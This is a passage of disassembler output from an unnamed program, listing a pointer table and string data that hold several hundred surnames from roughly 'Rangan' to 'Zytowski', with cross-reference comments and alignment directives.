aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EF28o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EF24o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042EF20o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EF1Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EF18o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EF14o aZegans db 'Zegans',0 ; DATA XREF: ___:0042EF10o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EF0Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EF08o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EF04o aYu db 'Yu',0 ; DATA XREF: ___:0042EF00o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEFCo align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEF8o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEF4o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEF0o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEECo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEE8o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEE4o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042EEE0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEDCo aYankee db 'Yankee',0 ; DATA XREF: ___:0042EED8o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EED4o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042EED0o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EECCo align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EEC8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EEC4o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EEC0o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042EEBCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EEB8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EEB4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EEB0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EEACo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EEA8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EEA4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EEA0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE9Co aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE98o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE94o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE90o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE8Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE88o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE84o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE80o aViens db 'Viens',0 ; DATA XREF: ___:0042EE7Co align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE78o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE74o aViano db 'Viano',0 ; DATA XREF: ___:0042EE70o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042EE6Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE68o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE64o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EE60o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE5Co aWhately db 'Whately',0 ; DATA XREF: ___:0042EE58o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE54o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE50o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE4Co align 10h aVenne db 'Venne',0 ; DATA XREF: ___:0042EE48o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE44o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE40o align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EE3Co align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE38o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EE34o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EE30o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EE2Co align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EE28o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EE24o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EE20o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EE1Co aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EE18o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EE14o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EE10o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EE0Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EE08o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EE04o align 10h aWalter db 'Walter',0 ; DATA XREF: ___:0042EE00o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDFCo align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042EDF8o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDF4o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDF0o aWaite db 'Waite',0 ; DATA XREF: ___:0042EDECo align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDE8o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDE4o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDE0o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDDCo align 10h aUrban db 'Urban',0 ; DATA XREF: ___:0042EDD8o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EDD4o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EDD0o align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EDCCo align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EDC8o align 10h aTwells db 'Twells',0 ; DATA XREF: ___:0042EDC4o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EDC0o align 10h aTurek db 'Turek',0 ; DATA XREF: ___:0042EDBCo align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EDB8o align 10h aTukan db 'Tukan',0 ; DATA XREF: ___:0042EDB4o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EDB0o align 10h aTuck db 'Tuck',0 ; DATA XREF: ___:0042EDACo align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EDA8o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EDA4o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EDA0o aTruss db 'Truss',0 ; DATA XREF: ___:0042ED9Co align 10h aTroy db 'Troy',0 ; DATA XREF: ___:0042ED98o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED94o aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED90o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED8Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED88o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED84o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042ED80o align 10h aTowler db 'Towler',0 ; DATA XREF: ___:0042ED7Co align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042ED78o align 10h aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED74o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED70o aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED6Co align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED68o aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED64o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED60o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED5Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED58o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED54o aTill db 'Till',0 ; DATA XREF: ___:0042ED50o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED4Co aThroop db 'Throop',0 ; DATA XREF: ___:0042ED48o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED44o aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED40o aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED3Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED38o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ED34o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042ED30o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ED2Co align 10h aTenney db 'Tenney',0 ; DATA XREF: ___:0042ED28o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ED24o align 10h aTemes db 'Temes',0 ; DATA XREF: ___:0042ED20o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042ED1Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ED18o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042ED14o align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ED10o aTatar db 'Tatar',0 ; DATA XREF: ___:0042ED0Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ED08o align 10h aTandler db 'Tandler',0 ; DATA XREF: ___:0042ED04o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ED00o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECFCo align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042ECF8o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECF4o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECF0o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECECo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECE8o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECE4o align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0042ECE0o aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECDCo align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECD8o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042ECD4o align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042ECD0o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042ECCCo aStrange db 'Strange',0 ; DATA XREF: ___:0042ECC8o aStott db 'Stott',0 ; DATA XREF: ___:0042ECC4o align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042ECC0o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042ECBCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042ECB8o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042ECB4o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042ECB0o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042ECACo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042ECA8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042ECA4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042ECA0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC9Co aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC98o align 10h aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC94o aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC90o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042EC8Co align 4 aStates db 'States',0 ; DATA XREF: ___:0042EC88o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042EC84o align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042EC80o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042EC7Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042EC78o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042EC74o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042EC70o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042EC6Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042EC68o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042EC64o align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042EC60o aSpence db 'Spence',0 ; DATA XREF: ___:0042EC5Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042EC58o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042EC54o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042EC50o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042EC4Co aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042EC48o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042EC44o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042EC40o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042EC3Co align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042EC38o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042EC34o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042EC30o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042EC2Co align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042EC28o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042EC24o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042EC20o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042EC1Co aSmilow db 'Smilow',0 ; DATA XREF: ___:0042EC18o align 10h aSlowe db 'Slowe',0 ; DATA XREF: ___:0042EC14o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042EC10o align 10h aSkoda db 'Skoda',0 ; DATA XREF: ___:0042EC0Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042EC08o align 10h aSkane db 'Skane',0 ; DATA XREF: ___:0042EC04o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042EC00o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042EBFCo aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042EBF8o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042EBF4o align 10h aSilverman db 'Silverman',0 ; DATA XREF: ___:0042EBF0o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042EBECo align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042EBE8o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042EBE4o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042EBE0o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042EBDCo align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042EBD8o aShia db 'Shia',0 ; DATA XREF: ___:0042EBD4o align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042EBD0o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042EBCCo align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042EBC8o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042EBC4o align 10h aSheats db 'Sheats',0 ; DATA XREF: ___:0042EBC0o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042EBBCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042EBB8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042EBB4o aShar db 'Shar',0 ; DATA XREF: ___:0042EBB0o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042EBACo aShankland db 'Shankland',0 ; DATA XREF: ___:0042EBA8o align 10h aShakis db 'Shakis',0 ; DATA XREF: ___:0042EBA4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042EBA0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042EB9Co aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB98o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042EB94o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042EB90o aSen db 'Sen',0 ; DATA XREF: ___:0042EB8Co aSelvage db 'Selvage',0 ; DATA XREF: ___:0042EB88o aSekler db 'Sekler',0 ; DATA XREF: ___:0042EB84o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042EB80o align 10h aSeeber db 'Seeber',0 ; DATA XREF: ___:0042EB7Co align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042EB78o align 10h aScudder db 'Scudder',0 ; DATA XREF: ___:0042EB74o aScovel db 'Scovel',0 ; DATA XREF: ___:0042EB70o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB6Co aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB68o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB64o align 10h aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB60o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB5Co aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB58o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB54o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB50o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB4Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB48o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB44o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB40o aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB3Co align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB38o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EB34o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042EB30o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EB2Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EB28o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042EB24o align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042EB20o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042EB1Co align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042EB18o aSarin db 'Sarin',0 ; DATA XREF: ___:0042EB14o align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042EB10o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042EB0Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EB08o aSamson db 'Samson',0 ; DATA XREF: ___:0042EB04o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042EB00o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAFCo align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042EAF8o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042EAF4o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAF0o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAECo aRush db 'Rush',0 ; DATA XREF: ___:0042EAE8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAE4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAE0o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042EADCo align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042EAD8o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042EAD4o align 10h aRow db 'Row',0 ; DATA XREF: ___:0042EAD0o aRonen db 'Ronen',0 ; DATA XREF: ___:0042EACCo align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042EAC8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EAC4o aRocha db 'Rocha',0 ; DATA XREF: ___:0042EAC0o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EABCo align 10h aRivera db 'Rivera',0 ; DATA XREF: ___:0042EAB8o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042EAB4o align 10h aRineer db 'Rineer',0 ; DATA XREF: ___:0042EAB0o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042EAACo align 10h aRielly db 'Rielly',0 ; DATA XREF: ___:0042EAA8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EAA4o align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042EAA0o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA9Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA98o aRenick db 'Renick',0 ; DATA XREF: ___:0042EA94o align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042EA90o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA8Co aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA88o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA84o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA80o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA7Co aRapple db 'Rapple',0 ; DATA XREF: ___:0042EA78o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA74o align 4 aRangan db 